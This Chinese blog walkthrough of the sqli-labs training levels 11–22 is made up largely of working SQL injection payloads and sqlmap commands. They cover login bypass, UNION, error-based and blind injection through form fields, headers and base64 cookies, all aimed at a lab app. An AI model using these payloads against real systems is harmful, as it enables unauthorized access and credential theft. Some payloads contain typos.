zoukankan      html  css  js  c++  java
  • Less 11-22

    Less-11:出现登录界面   

    单引号字符型,POST注入。
    1、在登录框输入用户名或密码'or''=',可以绕过验证。
    2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据,通过sqlmap --data 参数,注入。
    python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

    在用户名输入 ‘  密码随便输    出来报错

    SELECT username, password FROM users WHERE username=''' and password='1' LIMIT 0,1

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1

    可以看到查询username和password用and连接放在同一个SQL语句中

    那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:

    使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit
    uname=admin' or 1=1- - &passwd=123&submit=Submit
    uname=admin' or 1=1# &passwd=123&submit=Submit

    注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#- - 进行注释即可。

    uname=admin' or 1=1 limit 0,1# &passwd=123&submit=Submit

    limit 0,1是对第一个用户和密码进行  通过修改第一个数,得到其他的登录用户名

     

    4. uname=a’ order by 3#&passwd=a &submit=Submit或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。

    5.  uname =a&passwd=a’union select database0,2 # &submit=Submit

    查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit

    均可以查询到当前的数据库,当然也可以查询其它信息。

    6. uname =a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #
    &passwd=a&submit=Submit可以查询到当前的第一个数据库,或者uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据

    7. uname=a’ union  select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ #&passwd=a&submit=submit /可以得到/security数据库中的所有表信息

     

    Less-12:使用(”a”)包裹

    双引号字符型,post注入
    1、在登录框输入用户名或密码"or"1"="1,可以绕过验证。
    2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
    python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-12/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

    与第十一关一样

    uname=a") union select 1,group_concat(concat(0x7e,username,password)) from security.users #&passwd=a &submit=submit

    Less-13:单引号字符型变形,POST注入(在用户名处输入'后,报错near 'admin') LIMIT 0,1' at line 1)可以观察出引用变量时增加了'和)。

    1、在登录框输入用户名或密码 admin') or (''=' ,可以绕过验证。
    2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
    python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-13/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

    使用(’a’)包裹    不返回结果,我们使用盲注进行破解

    也可以使用burp suite进行破解

    盲注的几种形式:

    1. selest length(database())
    2. 2.if((1>2),3,4)
    3. 3.left(database(),1)<拿出一个字符>

    if(length (database())=8,1,sleep(5));  判断数据库长度是8

    uname=a') or length(database())=8#&passwd=a &submit=submit

    uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit  显示成功  (A-Z   0-9  _等)

    通过修改schema_name来推测出表,列

     Less-14:使用”a”进行包裹   双引号字符型,POST注入

    1、在登录框输入用户名或密码 admin" or ""=" ,可以绕过验证。

    2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
    python sqlmap.py -u http://192.168.27.156/sqli-labs/Less-14/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

    其他的与第十三关一致

    uname=a" or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit

    Less-15: 使用'admin'包裹    单引号字符型,POST盲注。与之前相比,此处屏蔽了错误回显

    其他的与第十三关一致

    本关支持 时间盲注,支持布尔逻辑盲注。
    1、在登录框输入用户名或密码 admin'or''=',可以绕过验证。
    2、admin' and 1=1 and sleep(3) -- 基于时间盲注可以
    3、admin' and 1=1 -- 基于布尔逻辑盲注
    4、通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
    python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-15/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

    uname=a’ or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit

    Less-16: 使用 ("admin")包裹      双引号字符型,POST盲注。

    其他的与第十三关一致

    uname=a” or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit

    Less-17:  字符型报错注入

     

     在第十七关index.php里面添加echo $update;  echo “<br>”;

     

     当post里写  uname=admin’#&passwd=ad&submit=submit 不会有更新的那一条语句

     

     当post里写  uname=admin&passwd=ad’#&submit=submit 就有更新的那一条语句,所以在passwd里对语句进行更改

     

     根据index.php里面的代码我们可以看到使用get_magic_quotes_gpc   对name password分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。

     

    首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息

    利用updatexml()函数报错

    Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1)#&submit=submit

    通过查询,得到secuurity库下面的其中一个表的名字

     

    Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),1)#&submit=submit

    通过查询,得到secuurity.users里的其中一个列的名字

     

     

     还可以利用floor()函数报错

    爆数据库
    123' and (select 1 from (select count(*),concat(user(),database(),floor(rand(0)*2))x from information_schema.schemata group by x)a) --
    爆表名
    123' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a) --
    爆字段
    123' and (select 1 from (select count(*),concat((select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a)--
    爆内容
    123' and (select 1 from (select count(*),concat((select concat(user,password) from dvwa.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a) --

    还可以利用extractvalue()报错函数

    and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    Less-18:字符型http头User-Agent注入

    1.利用extractvalue()和updatexml()函数可以实现注入

    本处能够看到页面回显用户的ip和user-agent信息,通过burp把登录过程抓包,

    并在user-agent后面增加'(User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0')

    页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaD...
    由此判断此处存在user-agent信息被写入到数据库,因此构造基于报错的注入。

    爆库
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
    爆表
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
    爆列
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
    爆内容
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

    2.利用sqlmap在-level 3级别,会尝试http头注入;利用sqlmap可以利用--user-agent参数尝试注入

    建议在burp中将http请求 copy to file,保存文件例如req.txt(抓包需要输入正确的用户名和密码)
    python sqlmap.py -r d: eq.txt --user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0 --level 3

     添加

     

     使用mysql命令查看users里的用户名和对应的密码

     

     登录成功后会有一行user agent

     

     INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '127.0.0.1', 'admin')

    比如这个:

     

     两种方式:

    第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1

    第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#              

     

     出来库

    ' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')# 

    表 

    'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')# 

    'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')# 
    字段

    ' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')# 

    Less-19:字符型http头referer注入

    其他与第18关一致

    通过insert语句进行分析

    INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')

    分析后得知,需要进行闭合操作,两种方法:
    (1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
    (2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

     

    Less20:字符型http头cookie注入

    在本关输入正确用户名和密码,在后续会话中可以看到cookie信息 uname=admin。
    通过burp把后续请求导入到repeater模块,修改cooke 为 admin',

    页面报错:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' LIMIT 0,1' at line
    由此判断此处存在cookie注入,构造报错注入

    还可以使用sqlmap跑一下

    利用sqlmap在-level 3级别,会尝试http头注入,利用--cookie参数尝试注入。

    建议在burp中将http请求 copy to file,保存文件例如cookie.txt(抓包需要输入正确的用户名和密码)
    python sqlmap.py -r d:cookie.txt --cookie "uname=admin; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3

    使用admin  admin 登录

     使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO出来下图(有错误说明有漏洞)

     

    猜测列数:

    查看列数:uname=' order by 5 #    通过实验知道列数为3

     

    看回显位置:uname=’union select 1,2,3#

     

    库uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

    表uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

    列uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

    字段uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#

    Less-21:基于cookie的base64编码注入(单引号)

     第一种:admin   admin 登录了之后

     

    使用 https://base64.us 进行解码        看到就是admin

    接下来修改cookie  uname   后面的已经加密了的语句就可以了

    uname=')union select 1,2,database()#    

    编码后为:

    dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

     

    第二种: 利用sqlmap工具

    输入正确的用户名和密码,可以从页面返回看出cookie被base64编码,因此尝试cookie注入时,需要将注入参数编码为base64

    这里需要借助-tamper参数调用base64encode.py实现
    python sqlmap.py -r d:21 --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch

    Less-22:基于cookie的base64编码注入(双引号)

     admin  admin登录    跟第21关一样

    " union select ,2,database()#

    编码后为:

    IiB1bmlvbiBzZWxlY3QgLDIsZGF0YWJhc2UoKSM=

  • 相关阅读:
    VSCode前端 插件
    restframework 分页组件、响应器
    restframework 解析器、渲染器、url控制组件
    __getattr__
    apply和call的用法
    继承
    原型的指向改变
    局部变量变全局变量
    构造函数和实例对象和原型对象之间的关系
    _proto_和prototype
  • 原文地址:https://www.cnblogs.com/7-58/p/12243076.html
Copyright © 2011-2022 走看看